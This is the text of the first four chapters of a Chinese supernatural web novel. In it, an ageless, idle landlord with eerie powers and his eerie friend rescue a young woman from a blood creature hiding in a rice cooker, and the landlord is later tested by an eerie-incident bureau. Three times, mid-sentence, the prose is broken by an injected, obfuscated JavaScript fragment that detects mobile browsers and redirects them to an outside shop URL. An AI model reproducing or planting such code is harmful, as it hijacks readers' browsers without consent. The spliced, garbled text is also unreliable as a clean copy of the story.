《上个诡班,诡不上班》 1. 第一章 安蓝任务结束回家时,在门口遇到了一位不速之客。 903室的门口站着一位青年,个子很高,皮肤很白,眼睛下的黑眼圈衬得他有一些阴沉。 青年留着一头长发,此刻长发在脑后松松地扎成个马尾,几缕发丝垂在肩头,随着他打哈欠的动作摆动。 安蓝摇摇头,把“不速之客”四个字从脑海中甩出去,这不是该对房东的形容词。 安蓝只在半年前签租房合同时和这位房东小哥碰过一次面,平时偶尔有事找他,无论什么时候发消息,都只会在半夜收到他的回复。 安蓝不知道这位西半球作息的房东小哥突然找她有什么事。 “裴哥?有事吗?”今天安蓝刚出完任务,脸颊上还挂着没有抹去的血痕,她在距离裴箐一米多远的地方站定,疑惑地问。 裴箐打了一半的哈欠被迫停下,他打量了一下形容狼狈的安蓝:“最近诡异出现得很频繁?” 如今的人类与诡异共生。 何为“诡异”?这要从两百多年前说起。 新历765年,无限逃生游戏降临地球。 无限逃生游戏是后来人取得名,起初,人类称之为“大灾变”。 大灾变初期,每月都有几十人无故消失,数量庞大的失踪案弄得所有人人心惶惶。政府部门无论用什么办法,都无法找到失踪的人们。 直到半年后,一个名为“无限逃生”的直播空降所有人的手机,直播中出现的,正是最近一个月失踪的人。 所有人都能看到或血腥或残忍或吊诡的直播画面,终于,人类群体和诡异碰上了面。 恐怖的画面自然引起了更大的恐慌,可所有人都无能为力,只能眼睁睁看着身边一个个人去送死。 后来随着时间的流逝,每月进入游戏的人越来越多,游戏和地球的融合度越来越高,直到新历952年,地球和游戏完全融为一体。 游戏中的原住民被人类称为“诡异”,两地融合之后,大量诡异游走人间,凭借自身实力或幸运存活的一小部分游戏玩家终于再回地球。 诡异事件管理局就在此时成立。 为保护没有特殊能力的普通人,从游戏中成功活下来的部分玩家联合国家成立了诡异事件管理局(下面简称异管局)。 而异管局的工作人员则被称作“执行者”。 安蓝就是异管局的一员,不同的是,她是后来通过升学加入的异管局,而非逃出生天的游戏玩家。 没等安蓝回答,裴箐又说:“我以为你出事了。” 他一顿:“我是来收房租的。” 安蓝猛得反应过来,一周前房租就到期了。这段时间诡异事件频发,忙得她都忘了这事。 见她一副恍然大悟的模样,裴箐慢吞吞地说:“前两天给你发了信息没回,我想应该是这段时间异管局工作忙。” 安蓝是三天前接的任务,手机早在出任务时没了电,她着急忙慌地用钥匙开门,边说:“不好意思裴哥,我手机没电了,等我手机开机了就转,你等我下。” 如今科技还算发达,大部分小区用的都是指纹识别或面部识别解锁,裴箐所在的镜湖小区却还顽固地守着这套古老的防线。 其实并非镜湖小区不愿现代化发展,只是一来什么科技都拦不住诡异,二来该小区已经活了太久了。 几十年前买房时,镜湖小区还是新开的楼盘,不过因为毗邻墓地,它的房价很低,裴箐思来想去,觉得这种房子就算有什么动静旁人也只会以为是闹鬼,实在是太适合他这样的人住了。 于是,他一口气买了两套房。 裴箐站在门口没有进去,他看着安蓝身上似有若无的黑气,一股气息极其相似的黑气从他指尖冒出,倏地飞向安蓝。 两相撞击,安蓝身上的黑气消失的无影无踪。 裴箐老神在在地发起呆来。 为了等安蓝的租金,他难得在白天醒着,此刻困意上涌,忍不住又打了个哈欠。 “裴哥,我转过去了!”一顿忙活,安蓝气喘吁吁地跑出来,手里还那这个小物件,“这个给你,我们部门发的,说是普通人能够防身用。大概……可以抵挡一次E级诡异的攻击。” 异管局将诡异分为S、A、B、C、D、E、F七个等级,一般来说,普通人的战力低于F级诡异,初级执行者的战力相当于E级诡异。 安蓝手上的银镯子泛着亮光,裴箐慢悠悠站直身体,手指碰到镯子时泛起一丝热意,微弱的疼痛传来。 裴箐手指摩挲着镯子,嘴角很轻地弯了一下:“谢谢。” 几年前裴箐见过这种镯子,在一具尸体上,面对E级及以下的诡异它是完美的护身符,可面对高等级的诡异,也不过是装饰品。 裴箐感受着指尖的温热,这镯子大概把他当做诡异了,很可惜,他其实是个完完全全的人类。 电梯里,裴箐按下十二楼的按键,手里的镯子有一下没一下地抛着。 裴箐出生于新历740年,无限逃生游戏降临后,他虽然没没选中成为玩家,但在某次事故之后,意外获得了诡异的能力。 不变、不生、不死。 两百多年来,裴箐不知换了多少次身份证,他算了下,再过十几年,又得换新了。 掌心的镯子还在不断灼烧着他,十二楼到了,裴箐打开门锁,随手将镯子放在玄关的鞋柜上,叮咚一声,手机消息打断了他的思绪。 是他昨天晚上在四书上蹲的帖子。 四书,如今国内最大的交流网站,网站名取自“四书五经”。裴箐在里面学到了不少流行词汇,比如等待后续时年轻人爱用的“同蹲”等。 前几天有人在四书上发布了这样一个帖子。 主人公是个年轻女生,养了一只小猫,每次深夜她去卫生间时小猫都会在门外呼唤她。 直到帖子发出的三天前,女生再一次在卫生间里呼唤小猫时,门外传来的却是哐哒哐哒的声响,一下又一下,想是什么东西在原地不停一上一下重重开合。 女生惊慌地推开门,却见小猫乖巧地蹲在门后,冲她发出细软的猫叫。 一开始女生以为是幻听,怪响却连续出现了三天, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536147|203815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期间还会有莫名其妙的水渍出现,女生害怕至极,在四书上发帖子求助,网友们让女生今天实时播报。 裴箐没去过现场,昨天看到帖子后他想了想,不出意外的话大概率是E或F级诡异作怪。 那只诡异兴许对女生没有恶意,只当做一种好玩的手段。 于是裴箐在底下评论也许是诡异,被不少人私信骂。 两百多年的时间足以人类建立起完整的检测装置,如今的人类十分依赖于每家门框上装载的报警器,既然异管局没有找上门,说明完全没有诡异的事。 虽然目前社会表面上一派祥和,但其实所有人对诡异都死死绷着一根弦,裴箐的话无异于扩散恐惧,应激的人们自然瞬间爆炸。 好在裴箐从不看私信,看了看女生的回复,手机往床头柜一扔,换了身睡衣就上床补觉了。 裴箐再次醒来,是被叮咚作响的信息提示音吵醒的。 裹成蝉蛹的裴箐艰难地从床上爬起来找手机。 裴箐没想到,竟然是发帖女生的私信。 [在吗在吗!楼主救命!] [我后悔没听你的提醒了,求求你回我一下好不好…] …… 一整面的信息看得裴箐头晕眼花,大致来说,就是她真的碰上诡异了,好在这只诡异性格不错,还没做出伤害她的举动。 女生看起来十分恐慌,在十几条语序混乱的私信中,混杂着她的住址。裴箐心想还好他是个好人,家庭住址可不能乱给啊。 虽然不清楚女生为什么不给异管局打电话,但既然找上他,就让他这个五好青年为社会出一把力。裴箐收拾了一下,打开女生住址的地图定位。 线条流畅的跑车在马路上飞奔,裴箐边开车边打电话。 连续打了三四个,对方才接起。对方显然是个很没素质的人,起手第一句就是“你有病吧”。 裴箐想了一下,凌晨一点多骚扰人家,确实挺有病。但这人可是诡异,哪里的诡异要睡觉? 于是裴箐说:“宁旋,你可真粗鲁。也没什么大事……” 两分钟后,裴箐讲完了来龙去脉,跟着叹下一口气:“人家女孩子,我一个人过去不太合适,咱俩一起方便些。” 手机贴在耳边,听筒里灌着呼呼的夜风,刮得沙沙作响。 宁旋的声音被风吹得有些模糊:“知道了,大善人。” 裴箐的住处距离目的地不远,十分钟不到的车程,裴箐停好车赶到楼下时,恰好一点三十分。 排楼底下站着个面容温雅的女人,她双手环胸,没好气地说:“什么时候收收你那无处安放的善心。” 裴箐三步并作两步走到她身侧,笑了一声:“人活一辈子,总得干点好事。” 宁旋翻了个白眼:“你这一辈子倒是挺长的。” 两人并肩走上楼梯,女生住在三楼301,是靠楼道的位置。 裴箐回忆着帖子里的内容,双手插着衣兜:“应该不是很强的诡……” 一脚踏进二楼转三楼的拐角,血腥味扑面而来,话音戛然而止。 2. 第二章 “这是……”裴箐散漫的表情散去,眉头蹙起。 粘稠的鲜血顺着台阶缓慢爬行,像是某种行动缓慢的生物。墙壁、天花板、扶手全被刷上一层鲜红的颜色,里面似乎有软糯的生物游动。在视觉和嗅觉的双重刺激下,裴箐下意识往后退了一步。 同为诡异的宁旋只是面色有些难看,这样浓重的气息在同类眼里几乎是明晃晃的邀请。 它低声语。 来吧,诸位,我们一起共享大餐。 宁旋光洁的皮肤突起密密麻麻的软泡,下面似乎有异物在游动。诡异达到一定程度能够幻化人形,而宁旋的人形几乎要在这只诡异的影响下难以控制。 裴箐掩着口鼻,说话瓮声瓮气:“这味儿也太冲了。” 宁旋不解:“为什么警报没有响。” 裴箐先一步迈上台阶,鞋底被染得鲜红一片:“谁知道,也许坏了没修,也许本来就不存在这种东西。” 那个女生的住处也很偏僻,连郊区都不算,零零散散的楼房坐落,四周皆空旷。 裴箐突然想起自己门前的报警器,似乎是最早一代的款式,难怪连一个小小的手镯都能发现他身上的异常,天天和他共处屋檐下的报警器却一声不响。 不过,也只有紧紧相连的触碰才能察觉他身上的微弱诡异气息。 四周的鲜血只是游动,并没有对他们做出攻击的手段。 叩叩。 刚敲了两声门,吱呀一声,门开了。里面似乎没有开灯,只有廊道不太亮的感应灯为他们划出一片落脚地。 漆黑的房子像一张深渊巨嘴,等待吞噬所有自投罗网的人。 裴箐身边黑气弥漫,将他与浓烈的血腥味隔绝开来,他一脚踏进黑暗:“你去找那个女生,其他的我来解决。” 伴随着宁旋应下的声音,她整个人在眨眼间变成一摊软肉,蠕动着陷入铺满瓷砖的地板。 有宁旋护着,裴箐很放心,他似乎放松了下来,在不甚宽敞的客厅里漫无目的地晃荡。 裴箐的夜视能力一向很好,此刻在他的眼中,整间房子除了被血糊满以外没有任何异常。 看来他要找的东西不在客厅。 裴箐想起女生帖子的描述。 [门外传来的却是哐哒哐哒的声响,一下又一下,想是什么东西在原地不停一上一下重重开合。] 一开一合?裴箐觉得这个描述很像电饭煲。 裴箐的思绪有些发散。白天他为了等安蓝,没吃午饭,该吃晚饭时又被突如其来的困意打败,此刻他忽然饿得有点难受。 裴箐心想,等事情解决的问问宁旋吃不吃麻辣烫。 始作俑者似乎愤怒裴箐的分心,地板上的鲜血咕噜咕噜冒着泡泡,像煮沸腾的稀饭,裴箐感受到脚底似乎在被加热。 鲜血变得更加粘稠了,空气中弥漫开一抹香甜的气息,裴箐循着气息往里走,那是厨房的方向。 “喵……” 倏地,传来一声虚弱的猫叫。 裴箐偏头看去,一只大肥猫缩在墙角处,毛发上沾满了鲜血,叫人看不清它的品种。 直到现在那只诡异都没有现身。 裴箐有些好奇,认识他这张脸的诡异应该不少,除非……它是新生儿,游戏与地球融合后的新生儿。 空气中香甜的气息更浓了,脚底的鲜血也愈发沸腾,空气被灼烧出层层波浪。 此时的温度大概能把一个普通人蒸熟,裴箐几乎整个人被黑气包裹,他在温度大幅度上升前抓着肥猫的后颈把它提了起来。 好人做到底,既然要救那个女生,她的猫自然一起保护了。 也许知道裴箐是救它的人,小猫乖顺地窝在他怀里。 裴箐抱着猫,继续往厨房走。 如果是普通人,它大概会兴奋至极地迎接将要到来的食物,可来人完全不受它的手段影响,步调散漫好似散步,四周弥漫的空气散发着似诡异不似诡异的气息。 裴箐再次迈脚,陡然感受到一阵阻力。 它在阻止裴箐前进。 “你究竟……是谁?” 声音像从海底传来,闷闷沉沉,模糊又空洞。 裴箐没想到它会问这个问题,思索片刻,回答说:“嗯……如果你连我都不认识的话,在诡异里面地位挺低的吧。” 太欠揍了。 它几乎发狂,整层楼的鲜血都沸腾起来,叫嚣着杀死这个嚣张狂妄的入侵者。 “先别生气。”裴箐停下脚步,“生气之后还打不过我,更丢人啊。” * 视线来到宁旋这边。 诡异对人类的味道十分敏感,男女老少、高矮胖瘦,就像人类能够尝出鸡鸭鱼肉一样。 清雅的香气从卧室传出,肉泥蛄蛹前进,穿透墙壁,来到女生的床边。 宁旋在床沿观察片刻,确定女生只是闭着眼睛而不是死亡后,恢复了人形。 女生对宁旋的到来没有丝毫察觉。 宁旋轻声开口:“喂。” 作为诡异,宁旋没有太多和人类打交道的机会,就算她能够幻化人形,接触最多的人还是裴箐。 可裴箐哪是什么正常人,哪有正常人命这么长,宁旋心想,也没有裴箐这么欠的人。 自然,她还没完全掌握人类的说话方式。 宁旋觉得自己已经尽力温和了。 女生本就处于极度恐惧当中,冷不丁听到陌生人的声音,瞳孔倏地放大,几乎要晕厥。 宁旋大惊失色,连忙说:“别晕啊!我是你网上叫来那人的朋友!我们是来救你的!” 说着,还不停晃动女生的肩膀。 好在女生心理素质不错,在宁旋的剧烈晃动下,又清醒了过来。 宁旋在女生床沿坐下:“我叫宁旋,你发消息的人在客厅找诡异,怎么样,有没有受伤?” “我叫……向小西。”女生撑着手臂直起身,宁旋的措辞好像很奇怪,但此刻向小西根本来不及多想,只会顺着宁旋的话往下走,“没有伤,可……” “你的猫不会有事。”宁旋看出了向小西的担忧,“要出去看看吗?” 向小西露出害怕的神色:“我……” * 裴箐挑衅完诡异,心情十分不错,许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536148|203815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久没有这样畅快的感觉了。 “啊啊啊啊——” 尖锐刺耳的叫声响彻云霄,诡异被裴箐气得发狂尖叫。 满地滚烫鲜血骤然活了过来,翻涌、扭曲、升腾,化作无数猩红血刃凌空狂舞。 眨眼间,裴箐身侧的黑气在他身前化作成保护罩。 轰—— 血刃狠狠砸在黑气上,猩红血沫四溅,热气蒸腾。 地面血水还在不断涌动,顺着地面蔓延攀爬,像活物一样缠向他的脚踝。 裴箐左手抱猫,右手虚握,雾气凝结,一把一米多长的苗刀浮现。 苗刀刀锋锋利,刀身修长,刀身划过,寒光乍现,所有沸腾的鲜血在此刻暂停,血液像块布一样,被砍成两段。 地上还淌着大片粘稠的暗红血污,半空中翻滚涌动的血液缓缓收敛,不再肆意肆虐。 方才被裴箐硬生生砍断躯体,它心底已经生出怯意,隐隐有了退缩的念头。 “还没结束?” 裴箐刚收了刀,房间门就吱呀一声打开。 “快了。”裴箐打量了一下向小西,确认她没大碍,迅速收回目光,“你饿吗?” 宁旋揽着向小西的腰,撑着她不往下倒:“还行。” “我挺饿的,待会儿去吃麻辣烫怎么样?我家那边有一家味道很不错的店。”裴箐有一下没一下地摸着小猫的毛,上面的血迹被他擦掉大半,露出一点黑白色的尖。 还是只黑猫警长。 宁旋问:“叫不叫元白?” 裴箐想了想:“也行。” 两人就这么旁若无人站在原地,随口聊着吃的,神态轻松自在,直接把一旁的诡异当成了空气。 这一幕,彻底刺痛了它。 它本就刚被裴箐击溃,憋了一肚子憋屈,满心都是不甘。眼前这两个人类,明明近在咫尺面对着它这等凶煞,非但没有半分畏惧,反倒悠闲唠嗑、淡定自若。 凭什么被无视得这么彻底? 凭什么人类在它面前能这般从容,丝毫不见惶恐? 滔天怒火瞬间冲昏了它的神智,心底那点忌惮,被汹涌的暴怒彻底压灭。 周遭气温骤降,粘稠的血珠不断从虚空滴落,它发出尖锐刺耳的怪啸,裹挟着汹涌的血气,猛地化作一道猩红洪流,张牙舞爪朝着三人猛扑而来。 眼看血潮就要近身,向小西惊恐地闭上眼,想象中的疼痛没有传来,向小西小心翼翼睁开一条缝,彻底被眼前的场景震在原地。 黑气四散,覆盖整间房的鲜血顷刻碎裂,落在地上发出清脆响声。小部分碎块颤抖着聚成一团,瑟瑟发抖。 裴箐依然是那副懒散模样。 “浊血。”宁旋定定看着不断往厨房游动的史莱姆状物,“用人类的标准划分,你是C级诡异。” 区区C级诡异,自然发现不了宁旋诡异的身份。 向小西呆愣地注视着眼前的一切,她不是没有见过执行者处理诡异,可面前的两人和她印象中严肃冷漠的执行者完全不同。 尤其是那个长得很好看的青年,完全像是……在逛一处无趣的游乐场。 3. 第三章 裴箐上下打量着名为“浊血”的诡异:“什么时候C级诡异只有这么一点能耐了。” 在裴箐的印象里,C里及以上的诡异在游戏副本中都能当小BOSS,现在的新生诡异真是一代不如一代。 浊血听了他的话,浑身一抖,更加卖力地往前蠕。 浊血顺着柜子往上爬,一路向电饭煲前进。在三人的注视下,它按下电饭煲的开关,整只诡异钻了进去。 咔哒咔哒、咔哒咔哒。 电饭煲的盖子一开一合,里面艳红色的柔软物体随着惯性一下一下弹起,像只吐舌头的小狗。 “它……它……”终于解开谜团,向小西被眼前的画面吓的两眼一黑,晕了过去。 片刻后,裴箐说:“我以为你会在房间里动手。” 类似助人为乐的好事裴箐做过不少,有时也会叫上宁旋。宁旋明白他在问为什么不在卧室里把向小西的记忆抹去。 既然不是异管局的员工,还敢擅自处理诡异,要是被大肆宣扬,总会引起不必要的麻烦。 “担心她的猫,带出来看看。”宁旋拦腰抱起向小西,“她的猫要不要处理。” 像是听懂了宁旋的话,黑白相间的猫在裴箐怀里抬起了头,小小叫了一声。 裴箐垂眸,轻声说:“算了,它又不会说话。” 处理完向小西,轮到装鹌鹑的浊血。 裴箐朝浊血抬了抬下巴:“说吧,理由。” 浊血颤抖着身体,颤颤巍巍地说:“她的猫,我也想……做,她打猫的时候,猫很、很爽,她怕我,我就吓吓……她。” 裴箐很轻地啧了声,这诡异说话结巴就算了,怎么还是个抖M。 “所以这叫因爱生恨?”放置好向小西的宁旋从门后钻出一个脑袋,唏嘘道,“不对,我们诡异哪里有爱。” 愚蠢的浊血,到现在为止还没发现宁旋是个诡异。 宁旋问:“它怎么处理?” 诡异落到裴箐手上,一般有两种下场。 死亡,或是,被扔到异管局门口。 今天裴箐有点不一样的想法,在听见浊血惊天地泣鬼神的抖M宣言后。 裴箐一直想养宠物,可惜无论是猫狗还是蛇鼠,都要需要仔细的照料,裴箐实在嫌麻烦,此刻他若有所思地注视着浊血,脑海中浮现一个绝妙的想法。 “照理说我们要把你丢到异管局门口,不过……”裴箐拖长声调,“我可以给你一个新选择。” 浊血窝在电饭煲里,迫不及待地问:“什么……选择。” 要是被裴箐扔到异管局,它只有死路一条,为了活命,让它做什么都可以。 裴箐倚着厨房的门框,慢悠悠地说:“做我的宠物。” 宁旋有些嫌弃:“血呼啦次的,你也不嫌恶心。” 裴箐低头看了眼怀中的小猫,无比惆怅:“有什么办法,其他动物我可养不活。” 浊血生怕裴箐不要它,软糯的躯体疯狂蛄蛹:“可、可以!” 就这样,将向小西的家具恢复原样后,一人一诡异离开了301室。 裴箐叫浊血自己找他家,找不到就把它扔给异管局,他要去吃早餐了。 此时天际微微泛白,清晨微风吹拂,街道上空无一人,唯有几家早餐店在做准备工作。 裴箐的麻辣烫吃不上了,他有些难过:“你饿吗?” 宁旋坐在副驾驶上,强行把翻白眼的冲动忍下,没好气地说:“你自己饿就饿,别总问我,我们诡异什么时候要吃你们人类的食物了。” 宁旋心说,每次她和阚元白都是陪这个开车的家伙,不然,诡异吃人饭这件事说出去,要被笑掉大牙。 裴箐遗憾地说:“那我先送你回去。” 宁旋说不用,下一秒,她化作肉泥沉了下去,消失在车里。 裴箐十分羡慕。 真方便啊。 麻辣烫店没开门,裴箐随便找了处离家近的早餐店,打算填饱肚子回家睡觉。 等电梯的间隙,裴箐又碰到了步履匆匆的安蓝。 裴箐咬了口酱饼和她打招呼,有些口齿不清:“异管局又有事?” 安蓝急迫的脚步停下,苦笑一声::“是啊,又要加班。” 望着安蓝远去的背影,裴箐喃喃自语:“真是辛苦啊。” 裴箐已经记不清自己多少年没上班了,记得他以前下了班还会去健身房健身,这已经是很多年以前的事了,要不是出意外前身材还不错,依照他现在懒散的生活态度,怕是早就变成白斩鸡。 在他胡思乱想的时间里,十二楼到了,裴箐刚打开门,窗边就传来咕咚咕咚的声响,浊血顺滑地往窗户缝中钻。 “事先声明,我没有打人的癖好。”裴箐知道小猫爱被打屁股是因为发情,但诡异没有发情期,“而且我一般白天睡觉,除了我的床,你想睡哪里都行。” 浊血滚到他的脚边:“好……的。” 裴箐对这团史莱姆状物非常感兴趣,他俯下身戳了戳,浊血的身体随着他的动作发出DuangDuang声。 裴箐:有些恶心。 浊血着急地想要展示自己的价值:“我可以帮您、打扫。” 它虽然不认识裴箐,但结合他用出的手段和说出的话来看,不是它能惹的人。 浊血才降生没几年,对无限逃生游戏发生过什么一无所知。 裴箐没想到还有意外之喜:“行。你在外面待着吧。” 他的睡觉时间到了。 这几天大概点儿背。 总觉得还没睡多久,咚咚作响的敲门声炸醒了他。 裴箐面无表情地直起身,直到敲门声再次响起,才磨叽着爬起来去开门。 浊血很有眼力见地藏了起来,藏在裴箐自从买来就没用过的电饭煲里。 “你好,是裴箐本人吗?”一开门,领头的中年男人拿出证件亮了一下。 惊天动地的一个动作扑面而来,裴箐愣愣地抬起眼,门口站着两个人,为首的中年男人右手展示他的证件,他的左手边,跟着安蓝。 裴箐刚睡醒的嗓音有点哑:“……是。警官,有什么事吗?” 男人往前半步,语气还算温和:“你的护身手镯触发了预警。镯子内置感应芯片,检测到你可能沾染了诡异的气息,信号同步传到了我们这边。” 他顿了顿,又说:“不必紧张,只是按照规矩,请你跟我们回去一趟,做个专业的气息排查和身体检测,确认一下有没有被诡异缠上和隐性侵染。” 裴箐沉默了一下:“好,我先换个衣服。” 没想到异管局的护身手镯已经进化到了这个地步,裴箐不知道浊血会不会被发现,他打算等检查结束寻个由头把那镯子扔了。 直到坐上异管局的车,裴箐才发现外面漆黑一片,已经晚上了。 裴箐坐在后座,前后座隔着一层防护隔板,不算完全密封。 等到车子平稳开动,安蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536149|203815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才问:“裴哥,你有遇到什么奇怪的事吗?” 裴箐在乘电梯的时间里就编好了故事,听见意料之中的疑问,他张口就来:“没什么奇怪的事,可能是我凌晨出去吃麻辣烫时碰到的?” “凌晨?裴先生这么晚还出门?”一直沉默开车的严魏问。 对别人来说,凌晨出门也许是奇怪的事,但对裴箐来说,白天出门才是太阳打西边出来。 安蓝尴尬地打哈哈:“组长,他……好像都是白天睡觉。” 严魏皱眉:“刚回国?” 裴箐坐得很放松,丝毫没有要去异管局的恐慌:“警官,我没工作,平时睡觉时间比较随便。” 原来是游手好闲的无业游民。 安蓝觑着自家组长的神情,在心底疯狂呐喊,裴哥!这种事还是不要直白地说出来啊! 异管局地处市中心,几十分钟的车程坐得裴箐昏昏欲睡。车子缓缓驶入异管局后院,最终停在了一栋略显低调的小楼前。 这里并不对外对外开放,是异管局专门设立的研究室。 两人领着裴箐走进楼内,一路走到最里间的检测室。 整间屋子被一整块厚重的单向钢化玻璃隔成了两半。 里侧空间空旷,正中央摆着一张特制的悬浮座椅,旁边立着一台体型庞大、布满微光纹路的探测仪器。 外侧则是操控研判区,一排光屏和操作台整齐排列,一名穿着制服的科室专员正端坐在此,等着接收检测数据。 “别紧张,就是常规排查。”科室的工作人员语气温和,伸手指了指里面的座椅,“你坐到那张椅子上就好,放松身体不用刻意紧绷。” 裴箐依言走到玻璃内侧,落座在特制座椅上。 座椅轻轻扣合固定,周遭巨大的探测机器缓缓亮起微光,一道道细密的光纹缓缓扫过全身。 单向玻璃外,检测科的专员紧盯面前不断跳动的数据面板,眉头微微蹙起。 几分钟过去,专员说:“检测结果出来了,只是表层沾染,没有深层侵染,也没有被诡异缠上的迹象,程度很轻,完全构不成危险。” 安蓝闻言,有些疑惑,低声自语:“可当初手环触发预警时,信号强度很高,显示的浓度并不低,怎么隔了几个小时,就消散得只剩这么一点了?” 专员跟着点头,满脸费解:“按常理来说,诡异气息一旦沾染人身,黏滞性极强,最少也得滞留三五天,不可能自行快速消散。太不合常理了。” 没等几人想出个所以然,操作台的光屏忽然跳出另一栏隐秘数据,专员原本松弛的神情骤然凝重起来,盯着屏幕久久不语,眼里满是惊疑。 严魏见他神色不对,连忙问道:“沈责,他还有别的问题?” 名为沈责的专员指着屏幕上一行跳动的判定数据,声音带着难以置信的困惑:“你看这栏基础生命判定,机器一直在反复识别,没法稳定定性。” 他压低声音解释:“咱们这台检测仪,能精准区分人和诡异。就算是强大到能够化成人形的诡异,也没有正常的心跳、呼吸节律,机器一眼就能识别。可他不一样,呼吸平稳、心跳规律,完完全全是正常人的生理特征。” “但机器偏偏卡死在他的身份判定上,反复扫描却始终定不了性,一会儿偏向人类,一会儿又出现诡异特征的波动干扰……” 沈责忍不住皱着眉嘀咕:“奇怪了,生理体征明明是人,怎么机器识别不出来?难不成仪器今天出故障了?” 4. 第四章 裴箐听力很好,隔着一块厚重的玻璃,将他们的话听得一清二楚。 意料之中的情况。 四十几年前,他也曾被带走做检查。 那时还没有异管局,国家建立的研究副本、诡异等的组织被称作智囊团。 那时,裴箐除了窝在家里打游戏,就是跑到正在进行的副本里做好人好事。 包括但不限于伪装成副本NPC为玩家提供线索、多人团本中顶替丧命的玩家推进游戏进度。 结果,一次失误把副本中道具带出游戏,浓郁的诡异气息在他迈进家门口的瞬间就被报警器捕捉,后果不言而喻,他被拉走做检测了。 那时游戏还没有完全与地球融合,偶有F级诡异跑出,也不会引起太大的恐慌。 裴箐一下子把B级副本的道具带出游戏,自然引起高层的极度重视。 好在道具上气息残留不过一瞬,无论检测员怎么检查,都发现不出问题。 沈责盯着紊乱跳转的后台数据,揉了揉眉心,暂时压下心底的惊疑,对着通讯器开口,示意玻璃内侧的裴箐可以出来了。 “检测结束,裴先生,你可以出来了。结果没什么大碍,只是表层沾了点低级诡异气息,没有侵染隐患。” 话音刚落,还没等裴箐起身,操作台的光屏骤然刺啦一声闪过乱码,原本平稳跳动的数据瞬间彻底失控,红色警示灯疯狂频闪,刺耳的警报声在房间里炸开。 各项数值狂飙乱跳,人类阈值、诡异气息浓度、生命体征判定全都崩成了一片乱线,仪器像是受到了某种未知力量的强烈干扰,彻底陷入瘫痪紊乱状态。 沈责脸色骤变,连忙伸手去按操作台的按键,可屏幕完全失灵,根本没法操作,他急得眉头紧锁,满脸错愕。 “怎么回事?!”严魏蹙眉。 裴箐悄无声息地从钢化玻璃后走出来,微微俯下身,在三人背后轻声开口:“出什么问题了吗?” 安蓝被突如其来的说话声吓得一颤,下意识转过头,骤然对上裴箐略带疑问的目光。 时至今日,她才发现,裴箐的瞳孔是很深的蓝色,让她想起曾经在网络上看到的宝石海洋之心,深邃璀璨。 “没……没事,可能是机器坏了。” 裴箐若有所思地点头。 就在现场一片慌乱之际,检测室的大门被人从外面推开,一行人毫无征兆地闯入。 “沈责!我让你检测的道具呢!”为首之人说话毫不客气,高高在上指使之意十足。 裴箐抬眼看去,一行三个人,为首的男生……应该算男生,初中生模样,个子不高,人瘦的像根杆,穿着窄腿牛仔裤和紧身T恤。 裴箐心想,这家伙穿的真像一只竹节虫。 这样想着,裴箐没忍住噗呲一声笑了出来。 “你笑什么?!”男生怒喊,“这人谁啊?不认识我!” 沈责头突突疼,他走到男生身边,低声说:“R神,他只是普通人,今天过来做个检测。” 被称作“R神”的男生不可置信地睁大了眼睛:“没看过直播?连我都不认识?” 裴箐当然认识,在沈责说出“R神”两个字后。 Reign,无限逃生游戏排行榜第二十三,因被选入游戏时还是个初中生,就一直保持这幅幼稚模样。 直播降临后,无限逃生游戏发出了一块排行榜,根据玩家的操作和通关副本数量排名。 两百多年的时间里,排行榜上的代号换了又换,能够在榜上居高位且活着走出游戏的,其实力不言而喻。 裴箐脑海中想的却不是Reign的丰功伟绩,而是Reign某次过名为“佛手”的副本时,他假扮玩家和他打过交道。 明明在副本里挺正常的一个人,怎么出游戏变成了神经病。 Reign必须要抬头才能看到裴箐的脸,他咬牙切齿地怒视眼前比他高一个头的青年:“算了算了,无知的愚民,能见我是你的荣幸!” 裴箐垂眼笑笑,没有开口说话。 如果不是工作需要,沈责并不想理这个趾高气扬的家伙,他侧过身:“裴先生,你可以离开了,方便的话可以让安蓝送你回去。” 裴箐摆手:“不用,我自己回去就好。你们工作挺忙吧,不麻烦她了。” 走出异管局的大门,裴箐才想起来自己没开车,他突然后悔拒绝沈责的提议。 自大灾变后网约车司机少了不少,一来大家怕司机开车时突然被拉进游戏,二来到处跑碰上诡异的概率总比固定工作岗位碰上诡异的概率大,一来二去,竟成了珍惜岗位。 打网约车的价格也一路飙升。 裴箐点开打车软件,看见预估的车费,无比肉疼。 这么远的距离,无论骑单车还是走路,都得要他的老命,裴箐还是点下了“立即打车”。 虽说裴箐活了二百多年,其中大半时间都处于无业游民状态,又买下镜湖小区两套房子,还换过不少车,存款自然多不到哪去。 裴箐惆怅地站在路边等车,车没等来,倒等来某个张口闭口“愚民”的矮子。 “愚民,你在做什么?” 起初裴箐压根没看到人在哪,张望半天,还以为见了鬼。 裴箐差点撞到炮仗似的Reign:“R神?” 